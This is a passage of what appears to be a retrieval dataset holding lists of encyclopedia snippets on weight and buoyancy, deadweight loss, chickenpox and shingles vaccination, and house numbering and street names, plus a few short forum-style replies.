weightless (actually as noted below, weight has merely been redistributed along the Earth's surface so it cannot be measured). Though the rubber comprising the balloon has a mass of only a few grams, which might be almost unnoticeable, the rubber still retains all its mass when inflated.\nAgain, unlike the effect that low-gravity environments have on weight, buoyancy does not make a portion of an object's weight vanish; the missing weight is instead being borne by the ground, which leaves", "on the runway, but spread over a larger area.\nA better scientific definition of mass is its description as being composed of inertia, which is the resistance of an object being accelerated when acted on by an external force. Gravitational \"weight\" is the force created when a mass is acted upon by a gravitational field and the object is not allowed to free-fall, but is supported or retarded by a mechanical force, such as the surface of a planet. Such a force constitutes weight. This force can be added to by any other kind of force.\nWhile the weight of an object", "This is usually referred to as the apparent weight of the object. A common example of this is the effect of buoyancy, when an object is immersed in a fluid the displacement of the fluid will cause an upward force on the object, making it appear lighter when weighed on a scale. The apparent weight may be similarly affected by levitation and mechanical suspension. When the gravitational definition of weight is used, the operational weight measured by an accelerating scale is often also referred to as the apparent weight. SI units In most modern scientific work, physical quantities are measured", "by shifts of the aggregate supply curve). Stagflation, in this view, is caused by cost-push inflation. Cost-push inflation occurs when some force or condition increases the costs of production. This could be caused by government policies (such as taxes) or from purely external factors such as a shortage of natural resources or an act of war.\nContemporary Keynesian analyses argue that stagflation can be understood by distinguishing factors that affect aggregate demand from those that affect aggregate supply. While monetary and fiscal policy can be used to stabilise the economy in the face of aggregate demand fluctuations, they are not very", "mass of objects like concrete and automobiles (expressed in kilograms) to a force in newtons (by multiplying by some factor around 9.8; 2 significant figures is usually sufficient for such calculations) to derive the load of the object. Material properties like elastic modulus are measured and published in terms of the newton and pascal (a unit of pressure related to the newton). Buoyancy and weight Usually, the relationship between mass and weight on Earth is highly proportional; objects that are a hundred times more massive than a one-liter bottle of soda almost always weigh a hundred times more—approximately 1,000 newtons,", "centrifugal force.\nAnother way to describe specific strength is breaking length, also known as self support length: the maximum length of a vertical column of the material (assuming a fixed cross-section) that could suspend its own weight when supported only at the top. For this measurement, the definition of weight is the force of gravity at the Earth's surface (standard gravity, 9.80665 m/s²) applying to the entire length of the material, not diminishing with height. This usage is more common with certain specialty fiber or textile applications.\nThe materials with the highest specific strengths are typically fibers such as carbon fiber, glass fiber", "this simple model the mass continues to oscillate forever at the same magnitude—but in a real system, damping always dissipates the energy, eventually bringing the spring to rest. Resonance causes Resonance is simple to understand if the spring and mass are viewed as energy storage elements – with the mass storing kinetic energy and the spring storing potential energy. As discussed earlier, when the mass and spring have no external force acting on them they transfer energy back and forth at a rate equal to the natural frequency. In other words, to efficiently pump energy into both mass and spring", "the object being weighed, for a weighing device in the pool. However, as noted, an object supported by a fluid is fundamentally no different from an object supported by a sling or cable—the weight has merely been transferred to another location, not made to disappear.\nThe mass of \"weightless\" (neutrally buoyant) balloons can be better appreciated with much larger hot air balloons. Although no effort is required to counter their weight when they are hovering over the ground (when they can often be within one hundred newtons of zero weight), the inertia associated with their appreciable mass of several hundred kilograms", "larger. Similarly, when the demand curve is relatively inelastic, deadweight loss from the tax is smaller, comparing to more elastic demand curve.\nA tax cause a deadweight loss because it causes buyers and sellers to change their behavior. Buyers tend to consume less when the tax raises the price. When the tax lowers the price received by sellers, they in turn produce less. As a result, the overall size of the market decreases below the optimum equilibrium. The elasticities of supply and demand determine to what extent the tax distorts the market outcome. As the elasticities of supply and demand increase,", "grain size is accompanied by the caveat that the grain size cannot be decreased infinitely. As the grain size decreases, more free volume is generated resulting in lattice mismatch. Below approximately 10 nm, the grain boundaries will tend to slide instead; a phenomenon known as grain-boundary sliding. If the grain size gets too small, it becomes more difficult to fit the dislocations in the grain and the stress required to move them is less. It was not possible to produce materials with grain sizes below 10 nm until recently, so the discovery that strength decreases below a critical grain size is", "weight can be found, which will always be slightly different from the long-term average. By using standard deviations, a minimum and maximum value can be calculated that the averaged weight will be within some very high percentage of the time (99.9% or more). If it falls outside the range then the production process may need to be corrected. Statistical tests such as these are particularly important when the testing is relatively expensive. For example, if the product needs to be opened and drained and weighed, or if the product was otherwise used up by the test.\nIn experimental science, a theoretical", "and then weighing the part. When the weight of the part does not change, it is then known that the gate has frozen and no more material is injected into the part. Gate solidification time is important, as this determines cycle time and the quality and consistency of the product, which itself is an important issue in the economics of the production process. Holding pressure is increased until the parts are free of sinks and part weight has been achieved. Robotic moulding Automation means that the smaller size of parts permits a mobile inspection system to examine multiple parts", "Deadweight loss A deadweight loss, also known as excess burden or allocative inefficiency, is a loss of economic efficiency that can occur when the free market equilibrium for a good or a service is not achieved. That can be caused by monopoly pricing in the case of artificial scarcity, an externality, a tax or subsidy, or a binding price ceiling or price floor such as a minimum wage. Examples Assume a market for nails where the cost of each nail is $0.10. Demand decreases linearly; there is a high demand for free nails and zero demand for nails at a", "leading to most weight loss stemming from the catabolism of fat. He concluded that a 3500 calorie excess or deficit for a person meeting his assumptions, would lead to the gain or loss, respectively, of one pound of body weight. He noted that if the assumptions he made are not met, a deficit of 3500 calories would not necessarily equate to a pound of weight loss.\nWishnofsky did not take into account numerous aspects of human physiology and biochemistry which were unknown at the time. The claim has achieved the status of a rule of thumb and is repeated in", "object's full mass once the object is added. Since air is a fluid, this principle applies to object/air systems as well; large volumes of air—and ultimately the ground—supports the weight a body loses through mid-air buoyancy.\nThe effects of buoyancy do not just affect balloons; both liquids and gases are fluids in the physical sciences, and when all macro‑size objects larger than dust particles are immersed in fluids on Earth, they have some degree of buoyancy. In the case of either a swimmer floating in a pool or a balloon floating in air, buoyancy can fully counter the gravitational weight of", "on its length. However, this is not the case for real springs. For small values of , the displacement is not so large as to cause elastic deformation. Jun-ichi Ueda and Yoshiro Sadamoto have found that as increases beyond 7, the effective mass of a spring in a vertical spring-mass system becomes smaller than Rayleigh's value and eventually reaches negative values. This unexpected behavior of the effective mass can be explained in terms of the elastic after-effect (which is the spring's not returning to its original length after the load is removed).", "be simply calculated by using the applicable coefficient of Thermal Expansion.\nIf the body is constrained so that it cannot expand, then internal stress will be caused (or changed) by a change in temperature. This stress can be calculated by considering the strain that would occur if the body were free to expand and the stress required to reduce that strain to zero, through the stress/strain relationship characterised by the elastic or Young's modulus. In the special case of solid materials, external ambient pressure does not usually appreciably affect the size of an object and so it is not usually necessary", "or more can knock fully grown men off their feet when the balloon's basket is moving horizontally over the ground.\nBuoyancy and the resultant reduction in the downward force of objects being weighed underlies Archimedes' principle, which states that the buoyancy force is equal to the weight of the fluid that the object displaces. If this fluid is air, the force may be small. Buoyancy effects of air on measurement Normally, the effect of air buoyancy on objects of normal density is too small to be of any consequence in day-to-day activities. For instance, buoyancy's diminishing effect upon one's body", "at some stage the growth is stopped and further cyclic loading produces closed hysteresis loops of stress–strain. Finally in case 3 the growth of residual strain is practically diminishes when sufficient loading cycles are applied. Case 2 and case 3 are cases of plastic and elastic shakedown respectively.", "weight (a relatively low-density object) is ​¹⁄₈₆₀ that of gravity (for pure water it is about ​¹⁄₇₇₀ that of gravity). Furthermore, variations in barometric pressure rarely affect a person's weight more than ±1 part in 30,000. However, in metrology (the science of measurement), the precision mass standards for calibrating laboratory scales and balances are manufactured with such accuracy that air density is accounted for to compensate for buoyancy effects. Given the extremely high cost of platinum-iridium mass standards like the International Prototype Kilogram (the mass standard in France that defined the magnitude of the kilogram), high-quality \"working\" standards are made", "gravitational effect is weaker due to B's smaller mass. For example, Earth's rotation is gradually being slowed by the Moon, by an amount that becomes noticeable over geological time as revealed in the fossil record. Current estimations are that this (together with the tidal influence of the Sun) has helped lengthen the Earth day from about 6 hours to the current 24 hours (over ≈ ⁠4½ billion years). Currently, atomic clocks show that Earth's day lengthens, on average, by about 15 microseconds every year. Given enough time, this would create a mutual tidal locking between Earth and the Moon. The length", "Lifting bag Physics of buoyant lifting The volume of the bag determines its lifting capacity: each litre of air inside the bag will lift a weight of 1 kilogram, or each cubic foot will lift about 62 pounds. For example, a 100-litre (3.5 cu ft) bag can lift a 100-kilogram (220 lb) underwater object.\nA partially filled bag will accelerate as it ascends because the air in the bag expands as the pressure reduces on the ascent, following Boyles law, increasing the bag's buoyancy, whereas a full bag will overflow or blow off excess volume and maintain the same volume and buoyancy providing is", "at 0 K increases, the bulk modulus decreases. The effect of temperature on elasticity is difficult to isolate, because there are numerous factors affecting it. For instance, the bulk modulus of a material is dependent on the form of its lattice, its behavior under expansion, as well as the vibrations of the molecules, all of which are dependent on temperature.", "Elastic and plastic strain Fundamentals As an illustration, if you hang a weight on a spring it extends in direct proportion to the load. That is the same effect that occurs in the elastic deformation part of the standard tensile test.\nThis is normally written as: applied stress = Young’s modulus * strain\nThat is: σ = Y * e\nCommonly known as:", "gravitational force pulling the particles closer together. Therefore, the phenomenon is the opposite of that normally found in matter where if the mass of the matter is increased, the object becomes bigger. In degenerate gas, when the mass is increased, the pressure is increased, and the particles become spaced closer together, so the object becomes smaller. Degenerate gas can be compressed to very high densities, typical values being in the range of 10,000 kilograms per cubic centimeter.\nThere is an upper limit to the mass of an electron-degenerate object, the Chandrasekhar limit, beyond which electron degeneracy pressure cannot support the object" ]

[ "I'm going out on a limb, but I believe this has to do with your chance of getting shingles increasing. My boyfriend has gotten shingles three times—twice in adulthood—and each time has been stressful because of where the virus progresses. It can attack the eye and make the person blind or cause a paralysis. Luckily, he's been able to catch it early and stop it before it advances, but I know there are serious effects if not treated. Where the doctors at? I'm a writer, not Dr. Quinn, medicine woman." ]

[ "\"chickenpox parties\". Doctors counter that children are safer getting the vaccine, which is a weakened form of the virus, rather than getting the disease, which can be fatal. Repeated exposure to chickenpox may protect against zoster. Other animals Humans are the only known species that the disease affects naturally. However, chickenpox has been caused in other primates, including chimpanzees and gorillas. Research Sorivudine, a nucleoside analog, has been reported to be effective in the treatment of primary varicella in healthy adults (case reports only), but large-scale clinical trials are still needed to demonstrate its efficacy. There has also been speculation", "the vaccine is only recommended in people who are particularly vulnerable to chickenpox. The National Health Service cites concerns about unvaccinated children catching chickenpox as adults when it is more dangerous, an increased risk of shingles in adults due to the lack of contact with chickenpox-infected children providing a natural boosting to immunity, and the fact that chickenpox is usually a mild illness. Contraindications The varicella vaccine is not recommended for seriously ill people, pregnant women, people who have tuberculosis, people who have experienced a serious allergic reaction to the varicella vaccine in the past, people who are allergic to", "to one month.\nChickenpox is rarely fatal, although it is generally more severe in adult men than in women or children. Non-immune pregnant women and those with a suppressed immune system are at highest risk of serious complications. Arterial ischemic stroke (AIS) associated with chickenpox in the previous year accounts for nearly one third of childhood AIS. The most common late complication of chickenpox is shingles (herpes zoster), caused by reactivation of the varicella zoster virus decades after the initial, often childhood, chickenpox infection. Pathophysiology Exposure to VZV in a healthy child initiates the production of host immunoglobulin G (IgG), immunoglobulin", "strep.\nThese serious complications (i.e. they can cause brain damage or death) are vastly more likely than adverse vaccine events. Before the chickenpox vaccine became available 100 to 150 children in the U.S. died from chickenpox annually. The chickenpox vaccine is recommended by health officials as safer than infection by any means.\nSome parents have attempted to collect infected material, such as saliva, licked lollipops, or other infected items from people who claim to have children infected with chickenpox. The parents use social networking services to make contact with these strangers. The unknown person then mails the potentially infectious matter to the", "the virus after vaccine tend to experience milder cases of chickenpox.\nCatching \"wild\" chickenpox as a child has been thought to commonly result in lifelong immunity. Indeed, parents have deliberately ensured this in the past with \"pox parties\". Historically, exposure of adults to contagious children has boosted their immunity, reducing the risk of shingles. The CDC and corresponding national organizations are carefully observing the failure rate which may be high compared with other modern vaccines—large outbreaks of chickenpox having occurred at schools which required their children to be vaccinated. Chickenpox Prior to the introduction of the vaccine in 1995 in the", "increased as adults are less exposed to infected children (which would otherwise help protect against shingles). Ten years after the vaccine was recommended in the US, the CDC reported as much as a 90% drop in chickenpox cases, a varicella-related hospital admission decline of 71% and a 97% drop in chickenpox deaths among those under 20.\nVaccines are less effective among high-risk patients, as well as being more dangerous because they contain attenuated live virus. In a study performed on children with an impaired immune system, 30% had lost the antibody after five years, and 8% had already caught wild chickenpox", "mild disease. It has been said to be derived from chickpeas, based on resemblance of the vesicles to chickpeas, or to come from the rash resembling chicken pecks. Other suggestions include the designation chicken for a child (i.e., literally 'child pox'), a corruption of itching-pox, or the idea that the disease may have originated in chickens. Samuel Johnson explained the designation as \"from its being of no very great danger\". Intentional exposure Because chickenpox is usually more severe in adults than it is in children, some parents deliberately expose their children to the virus, for example by taking them to", "of children who get the vaccine in their early childhood and later have contact with children with chickenpox. Some of these children may develop a mild chickenpox also known as breakthrough disease.\nAnother vaccine, known as zoster vaccine, is simply a larger-than-normal dose of the same vaccine used against chickenpox, and is used in older adults to reduce the risk of shingles (also called herpes zoster) and postherpetic neuralgia, which are caused by the same virus. The live zoster (shingles) vaccine is recommended for adults aged 60 years and older. A recombinant zoster (shingles) vaccine is recommended for adults aged 50", "than 16 years, as it has been related to Reye syndrome. Adults Infection in otherwise healthy adults tends to be more severe. Treatment with antiviral drugs (e.g. aciclovir or valaciclovir) is generally advised, as long as it is started within 24–48 hours from rash onset. Remedies to ease the symptoms of chickenpox in adults are basically the same as those used for children. Adults are more often prescribed antiviral medication, as it is effective in reducing the severity of the condition and the likelihood of developing complications. Antiviral medicines do not kill the virus but stop it from multiplying. Adults", "childhood, or after a latency period of many years. Shingles After a chickenpox infection, the virus remains dormant in the body's nerve tissues. The immune system keeps the virus at bay, but later in life, usually in an adult, it can be reactivated and cause a different form of the viral infection called shingles (also known as herpes zoster).\nThe United States Advisory Committee on Immunization Practices (ACIP) suggests that every adult over the age of 50 years get the herpes zoster vaccine.\nShingles affects one in five adults infected with chickenpox as children, especially those who are immune-suppressed, particularly from cancer,", "chickenpox from occurring in nonimmune children and adults, or at least lessen the risk of the varicella zoster virus lying dormant in the body and reactivating later as shingles. If shingles could be prevented, postherpetic neuralgia could be completely avoided.\nIn May 2006 the Advisory Committee on Immunization Practices approved a new vaccine by Merck (Zostavax) against shingles. This vaccine is a more potent version of the chickenpox vaccine, and evidence shows that it reduces the incidence of postherpetic neuralgia. The CDC recommends use of this vaccine in all persons over 60 years old.\nThe most effective means of preventing PHN from", "is recommended five years after the initial immunization. A vaccinated person is likely to have a milder case of chickenpox if they become infected. Immunization within three days following household contact reduces infection rates and severity in children.\nIt is part of the routine immunization schedule in the US. Some European countries include it as part of universal vaccinations in children, but not all countries provide the vaccine due to its cost. In the UK as of 2014, the vaccine is only recommended in people who are particularly vulnerable to chickenpox. This is to keep the virus in circulation thereby", "vaccination. Flu parties are also sometimes done. \nThere exist variations of pox parties that involve shipping infectious material. In many parts of the world shipping infectious items is illegal\nor tightly regulated. Effectiveness and risk Parents who expose their children to Varicella zoster virus in this manner may believe that a case of chickenpox is safer and more effective than receiving a vaccination. Similar ideas have been applied to other diseases such as measles. However, pediatricians have warned against holding pox parties, citing dangers arising from possible complications associated with chicken pox, such as encephalitis, chickenpox-associated pneumonia, and invasive group A", "secondary bacterial pneumonia), bronchitis (either viral bronchitis or secondary bacterial bronchitis), hepatitis, and encephalitis. In particular, up to 10% of pregnant women with chickenpox develop pneumonia, the severity of which increases with onset later in gestation. In England and Wales, 75% of deaths due to chickenpox are in adults. Inflammation of the brain, or encephalitis, can occur in immunocompromised individuals, although the risk is higher with herpes zoster. Necrotizing fasciitis is also a rare complication.\nVaricella can be lethal to individuals with impaired immunity. The number of people in this high-risk group has increased, due to the HIV epidemic and the", "at the injection site, as well as fever. A few people may develop a mild rash, which usually appears around the injection site.\nThere is a short-term risk of developing herpes zoster (shingles) following vaccination. However, this risk is less than the risk due to a natural infection resulting in chickenpox. Most of the cases reported have been mild and have not been associated with serious complications.\nApproximately 5% of children who receive the vaccine develop a fever or rash. Adverse reaction reports for the period 1995 to 2005 found no deaths attributed to the vaccine despite approximately 55.7 million doses being", "HIV, or other conditions. Stress can bring on shingles as well, although scientists are still researching the connection. Shingles is most commonly found in adults over the age of 60 who were diagnosed with chickenpox when they were under the age of 1. Diagnosis The diagnosis of chickenpox is primarily based on the signs and symptoms, with typical early symptoms followed by a characteristic rash. Confirmation of the diagnosis is by examination of the fluid within the vesicles of the rash, or by testing blood for evidence of an acute immunologic response.\nVesicular fluid can be examined with a Tzanck smear,", "placebo (0.5 percent). A study including children with leukaemia found that the risk of getting shingles after vaccination is much lower than the risk of getting shingles for children with natural chicken pox in their history. Data from healthy children and adults point in the same direction. Shingrix Temporary side effects from the Shingrix shots are likely, and can be severe enough in one out of six people to affect normal daily activities for up to three days. Mild to moderate pain at the injection site is common, and some may have redness or swelling. Side effects include fatigue, muscle pain,", "periodic boost to the immune system helps to prevent shingles in older adults. When routine chickenpox vaccination was introduced in the United States, there was concern that, because older adults would no longer receive this natural periodic boost, there would be an increase in the incidence of shingles.\nMultiple studies and surveillance data, at least when viewed superficially, demonstrate no consistent trends in incidence in the U.S. since the chickenpox vaccination program began in 1995. However, upon closer inspection, the two studies that showed no increase in shingles incidence were conducted among populations where varicella vaccination was not as yet widespread", "induces a strong immune reaction but can cause inflammation and abscesses. \"Chicken vaccinators who have accidentally jabbed themselves have developed painful swollen fingers or even lost thumbs, doctors said. Effectiveness may also be limited. Chicken vaccines are often only vaguely similar to circulating flu strains — some contain an H5N2 strain isolated in Mexico years ago. 'With a chicken, if you use a vaccine that's only 85 percent related, you'll get protection,' Dr. Cardona said. 'In humans, you can get a single point mutation, and a vaccine that's 99.99 percent related won't protect you.' And they are weaker [than human vaccines]. 'Chickens", "pox. About 10,600 people were hospitalized and 100 to 150 died each year. Transmission Varicella spreads person to person through the air from coughing or sneezing, touching or breathing in the virus that comes from the chickenpox blisters, and can be spread from people with Shingles. It takes 10 to 21 days after exposure to develop symptoms and it lasts about 5–10 days. For the most part, getting the chickenpox provides immunity for life. Although uncommon, it is possible for some people to get chickenpox more than once. Hepatitis A Hepatitis A, like Hepatitis B is inflammation of the liver.", "the relationship between chickenpox and shingles). This recurrence often occurs in times of relative immunosuppression, which is often in the context of malnutrition and other illnesses. In combination with poor sanitation and hygiene which leads to a greater density of lice, this reactivation is why typhus forms epidemics in times of social chaos and upheaval. Diagnosis IFA, ELISA or PCR positive after 10 days Treatment The infection is treated with antibiotics. Intravenous fluids and oxygen may be needed to stabilize the patient. There is a significant disparity between the untreated mortality and treated mortality rates: 10-60% untreated versus close to", "Childhood immunizations in the United States Risks As with all medications, vaccines are continually monitored for safety, and like any medication, vaccines can cause side effects. The side effects of vaccination are minor and go away within a few days. There is a risk that the child could have a severe allergic reaction, but these reactions are rare. However, a decision not to immunize a child also involves risk and could put the child and others who come into contact with him or her at risk of contracting a potentially deadly disease. Hepatitis B Hepatitis B is a contagious virus", "fetal varicella syndrome. Hygiene measures The spread of chickenpox can be prevented by isolating affected individuals. Contagion is by exposure to respiratory droplets, or direct contact with lesions, within a period lasting from three days before the onset of the rash, to four days after the onset of the rash. The chickenpox virus is susceptible to disinfectants, notably chlorine bleach (i.e., sodium hypochlorite). Like all enveloped viruses, it is sensitive to desiccation, heat and detergents. Vaccine The varicella vaccine is recommended in many countries. Some countries require the varicella vaccination or an exemption before entering elementary school. A second dose", "more prominent than in children.\nIn the United States, the Centers for Disease Control and Prevention (CDC) does not require state health departments to report infections of chickenpox, and only 31 states currently volunteer this information. However, in a 2013 study conducted by the social media disease surveillance tool called Sickweather, anecdotal reports of chickenpox infections on Facebook and Twitter were used to measure and rank states with the most infections per capita, with Maryland, Tennessee and Illinois in the top three. Etymology How the term chickenpox originated is not clear but it may be due to it being a relatively", "requester, who gives it or feeds it to their child in the hope that the child will become ill.\nExperts say it is unlikely that these methods will transmit the chickenpox virus effectively or reliably, because the varicella virus cannot survive for very long on the surface of such items. However, it may be able to transmit other diseases, including hepatitis B, group A streptococcal infection, and staphylococcal infections — dangerous diseases to which the parents never intended to expose their children. Additionally, in the United States, deliberately sending infectious matter through the U.S. Postal Service is illegal. History In the", "as adults. Opposing arguments and precautions Some parents pose threats to infants due to their behaviors and conditions, such as smoking or drinking heavily, taking drugs, a history of skin infections, obesity, or any other specific risk-increasing traits. In addition, there are certain dangerous behaviors that increase SIDS and should be avoided whether placing a baby in a crib or co-sleeping: infants should always sleep on their backs on a firm surface (not waterbeds, pillows, recliners, or couches), mattresses should intersect the bedframe tightly, there should be no stuffed animals or soft toys near the baby, blankets should be light,", "to 20 years in Japan and 10 years in the United States, more than 90% of immunocompetent persons who were vaccinated as children were still protected from varicella.\" However, since only one out of five Japanese children were vaccinated, the annual exposure of these vaccinees to children with natural chickenpox boosted the vaccinees' immune system. In the United States, where universal varicella vaccination has been practiced, the majority of children no longer receive exogenous (outside) boosting, thus, their cell-mediated immunity to VZV (varicella zoster virus) wanes—necessitating booster chickenpox vaccinations. As time goes on, boosters may be necessary. Persons exposed to", "is primarily a disease of children, with most cases occurring during the winter and spring, most likely due to school contact. It is one of the classic diseases of childhood, with the highest prevalence in the 4–10-year-old age group. Like rubella, it is uncommon in preschool children. Varicella is highly communicable, with an infection rate of 90% in close contacts. In temperate countries, most people become infected before adulthood, and 10% of young adults remain susceptible.\nIn the tropics, chickenpox often occurs in older people and may cause more serious disease. In adults, the pock marks are darker and the scars", "to a study in North Carolina, \"black subjects were significantly less likely to develop zoster than were white subjects.\" It is unclear whether the risk is different by sex. Other potential risk factors include mechanical trauma and exposure to immunotoxins.\nThere is no strong evidence for a genetic link or a link to family history. A 2008 study showed that people with close relatives who had shingles were twice as likely to develop it themselves, but a 2010 study found no such link.\nAdults with latent VZV infection who are exposed intermittently to children with chickenpox receive an immune boost. This", "and GlaxoSmithKline.\nJapan was among the first countries to vaccinate for chickenpox. The vaccine was first licensed in the United States in 1995. Routine vaccination against varicella zoster virus is also performed in the United States, and the incidence of chickenpox has been dramatically reduced there (from four million cases per year in the pre-vaccine era to approximately 400,000 cases per year as of 2005). In Europe, most countries do not vaccinate against varicella, though the vaccine is gaining wider acceptance. Australia, Canada, and other countries have adopted recommendations for routine immunization of children and susceptible adults against chickenpox.\nOther countries, such" ]

[ "Music simply acts as a stimuli in the brain. Stimuli can essentially be anything that provides a distraction to you, in this case its music. Selective attention is then applied in your brain where it is trying to process the specific house number.\n\nWe are constantly subjected to sensory information and selective attention essentially acts like a spotlight, only highlighting the details and casting any irrelevant information to the side of our perception.", "You're reducing the amount of things your brain needs to focus on, allowing you to pay more attention?" ]

[ "House numbering House numbering is the system of giving a unique number to each building in a street or area, with the intention of making it easier to locate a particular building. The house number is often part of a postal address. The term describes the number of any building (residential or not) with a mailbox, or even a vacant lot.\nHouse numbering schemes vary by location, and in many cases even within cities. In some areas of the world, including many remote areas, houses are named but are not assigned numbers. History A house numbering scheme was present in Pont", "never being replaced by street numbers.\nThe relatively new planned neighborhood of Parque das Nações in Lisbon has also a different numbering scheme: each building is referred by its plot, parcel, and building (in Portuguese: lote, parcela, prédio). Marking of numbers In the UK fanlights in front doors were introduced in the 1720s in which the house number may be engraved. Contemporary architecture and modern house building techniques see alternatively acrylic, aluminium, or glass, ceramic, brass, slate, or stone used. Italy Italy mostly follows the European scheme described above but there are some exceptions, generally for historical reasons.\nIn Venice, houses are", "Where the Streets Have No Name Writing and recording The music for \"Where the Streets Have No Name\" originated from a demo that guitarist The Edge composed the night before the group resumed The Joshua Tree sessions. In an upstairs room at Melbeach House—his newly purchased home—he used a four-track tape machine to record an arrangement of keyboards, bass, guitar, and a drum machine. Realising that the album sessions were approaching the end and that the band were short on exceptional live songs, he wanted to \"conjure up the ultimate U2 live-song\", so he imagined what he would like to", "there are more apartments than ground level access points, a number added for the apartment number within the new development. The original street numbering system followed the pattern of odd numbers on one side and even numbers on the other side of the street, with lower numbers towards the center of town and higher numbers further away from the center.\nThe infill numbering system avoids renumbering the entire street when developments are modified. For example, Mannerheimintie 5 (a large mansion house on a large city plot) was demolished and replaced with 4 new buildings each with 2 stairwells all accessible from", "entire building or a separate number for each entrance.\nWhere plots are not built upon gaps may be left in the numbering scheme or marked on maps for the plots. If buildings are added to a stretch of old street the following may be used rather than a long series of suffixes to the existing numbers: a new name for a new estate/block along the street (e.g. 1–100 Waterloo Place/Platz, Sud St..); a new road name inserted along the course of a street either with or without mention of the parent street; unused numbers above the highest house number may be", "street hierarchies remain the default mode of suburban design in the United States, its 21st century usefulness depends on the prevalence of low density developments. To the degree that developable land becomes scarce in coastal urban areas and in geographically constrained inland cities such as Tucson, Las Vegas, and Salt Lake City, the street hierarchy's inability to handle any but the lowest population densities is a long-term liability. The street hierarchy is also unpopular in the coastal city of New Orleans because of its geographic barriers, and because like Philadelphia, New York, and Cleveland, New Orleans already had suburbs before", "be confused with historic house museums. Historic houses in the United States Houses are increasingly being designated as historic in the United States as a way to resuscitate neighbourhoods and increase the economic health of surrounding urban areas. Designating a house as historic tends to increase the value of the house as well as others in the same neighbourhood. This can result in increased development of nearby properties, creating a ripple effect that spreads to surrounding neighbourhoods. In some cases, fees are assessed of homeowners during the designation process, so there is not necessarily an economic benefit to doing", "necessarily be the lower number. This indicates that the numbers were probably assigned at the time the songs were recorded. If there is a significant gap between the two numbers, the songs were probably not recorded at the same session. If the numbers appear to be from completely different sequences, or have a different format or number of digits, this can indicate that the numbers were assigned by the recording studio, and the two sides were recorded at different studios. When record historian Brian Rust researched his discography books on early recordings, he was able to", "November 8, 2010. The question's subject dealt with the naming of most of the town's streets after composers.", "houses. The song was inspired by his life, he said, the face in the window being his father.", "as songs with varying intents and consequences. An example is the 1981 song \"867-5309/Jenny\" by Tommy Tutone, which is the cause of a large number of calls.\nNot all numbers beginning with 555 are fictional. For example, 555-1212 is the standard number for directory assistance. Only 555-0100 through 555-0199 are reserved for fictional use. Where used, these are often routed to information services; Canadian telephone companies briefly promoted 555-1313 as a pay-per-use \"name that number\" reverse lookup in the mid-1990s.", "mentioning that Neighborhoods should contain a song in a similar vein to \"I Miss You\", the band's 2004 single. With this in mind, DeLonge included references to \"I Miss You\", \"Always\" and \"All of This\", all tracks from the band's previous effort: \"I can't find the best in all of this / but I'm always looking out for you / 'Cause you're the one I miss.\" DeLonge viewed the song's speedy creation as just one of many similarities to their back catalog: \"What's cool about this song and 'I Miss You,' when Mark and I both write lyrics in different", "Street name sign Description Modern street name signs are mounted on either utility poles or smaller purpose-made sign poles posted on a streetcorner, or hung over intersections from overhead supports like wires or pylons. When attached to poles, they may be stacked onto each other in alternating directions or mounted perpendicular to each other, with each sign facing the street it represents. Up until around 1900 in the USA, however, street name signs were often mounted on the corners of buildings, or even chiseled into the masonry, and many of those signs still exist in older neighborhoods. They are commonly", "and Fells Point neighborhoods. Older houses may retain some of their original features, such as marble doorsteps, widely considered to be Baltimore icons in themselves. Later row houses dating from the 1800s–1900s can be found in Union Square and throughout the city in various states of repair. They are a popular renovation property in neighborhoods that are undergoing urban renewal, although the practice is viewed warily by some as a harbinger of \"yuppification\", particularly when the term \"town house\" is used instead of \"row house.\" Around the city, row houses can be found abandoned and boarded-up, reflective of Baltimore's urban", "House on the Register, but others, such as the Barney Kelley and Jacob Light Houses, are purely examples of the style instead of featuring a mix of styles.", "after the house and is centered on it. There are two alleys for the one block that dead-end into the house. The house was built in 1860, and the name of the street was changed in 1892. The house is set farther back then the other houses on the street, so that it is hard to view from the street. The house has been restored so that its appearance is reminiscent of its past glory. The current owners offer 1800s-style parties, including tea parties.\nThe Schornstein Grocery and Saloon, designed by architect Augustus F. Gauger, was built in 1884. It was", "are usually referred to by the initials (forenames and surname) of their current house-masters, a senior teacher (\"beak\"), or more formally by his surname alone, not by the name of the building in which they are situated. Houses occasionally swap buildings according to the seniority of the housemaster and the physical desirability of the building. The names of buildings occupied by houses are used for few purposes other than a correspondence address. They are: Godolphin House, Jourdelay's (both built as such c. 1720), Hawtrey House, Durnford House (the first two built as such by the Provost and Fellows, 1845, when", "This occurs today in suburban subdivisions, but it has been a pattern in history, as well. This combination of types, streets and lots is called an urban tissue, or a plan unit. When studying a city, a designer identifies the common tissue patterns in place and may decide to link to them, imitate them, or otherwise recognize them as an historical artifact. A movement of urban theorists and practitioners in the US, New Urbanism, has identified building typology as a key to defining more user-friendly places. In trying to preserve neighborhoods or building new ones, building types once again become", " By this we mean that the main rooms of the house are arranged to face this out-of-door living space ... It was once considered absurd to plan a house with the kitchen toward the street, but now not so in California ... the street side of [a man's] domicile is merely the side through which he enters.\"\nIn 1910, as the American Craftsman movement was in full bloom in Southern California, Grey wrote that California architecture was distinctive because local architects were simply trying to be \"natural\"—not so much \"because our architects have striven to be unique in their designing", "the street connections in the town is the marketplace, over which rises the town church, St. Marien, once surrounded by the town's cemetery. A regular plan is not to be seen in the town. However, in one way the town has something in common with many other towns founded in the Middle Ages that is only noticeable at second glance: when laying out the town's streets, the mediaeval town planner deliberately made them crooked and deliberately staggered intersections of streets and alleyways. In particular, building crooked streets was a way of giving them some aesthetic appeal, as with the Untergasse.", "one's address on a major street due to the better accessibility, but Meier and Comfort envisioned a self-contained community that was inclusive of all the residents, but somewhat exclusive of the outside world.\nIn order to retain a rural atmosphere, they designed lot sizes that were larger than typical (up to two acres). Inspired by the nearby country lanes, their street designs were not lined with curbs, sidewalks, or street lamps as was the practice in neighboring Clayton and St. Louis. Meier and Comfort neighborhoods also tended to avoid flat, grid-patterned street plans and instead favored designs with curved and sloped", "in the British style with nearly all signs being placed on buildings adjacent to street junctions rather than on free-standing signposts. Dublin street signs have white lettering on a blue background with both the Irish and English names given along with the Dublin postal district number. Address numbering The system of building number generally follows the British pattern. With many streets (e.g., Grafton Street, Baggot Street Lower), numbers proceed sequentially up one side of the street to its terminus and then continue down the other side. The numbers usually begin in topographically lower areas and proceed upward, i.e., toward higher", "home, although they may not even know the name of the song or its artist.", "refer to the building as \"A house reversed\". The name reflects their decision to have the house face the hill and the trees of the garden behind it, rather than the street. All the 18 apartments in the building had their main room face on the garden. This insured that the rooms faced south, for light. Kitchens, maids' rooms, and the staircase face the street. The larger apartments on each side of each floor of the building have a window and small balcony facing the street, but the three one-room apartments face only the garden.\nThe \"inward facing\" concept was something", "with the rousing pair of \"Where the Streets Have No Name\" into 